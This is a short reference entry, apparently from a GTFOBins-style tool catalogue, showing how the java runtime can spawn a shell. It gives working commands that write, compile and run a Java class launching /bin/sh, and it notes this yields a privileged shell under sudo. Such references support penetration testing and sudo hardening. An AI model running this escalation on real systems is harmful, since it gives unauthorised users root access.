Java runtime that can execute compiled Java class files to spawn shells.
java {0} 📎 0 java {0}Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell security.execution.command runtime.java.execute Inputs
system.file.path Path to Java class file
Outputs
process.output Shell output
process_spawn Produces
process.outputConsumes
system.file.path| Resource | Value |
|---|---|
| CPU | high |
| Memory | 64 MB |
| Network | low |
| Disk I/O | low |
Spawn interactive shell via compiled Java class
cat >Shell.java <<EOF
public class Shell {
public static void main(String[] args) throws Exception {
new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
}
}
EOF
javac Shell.java
java Shelljava executes compiled Java class files. With sudo, it can spawn a shell by uploading and running a compiled class file that executes /bin/sh.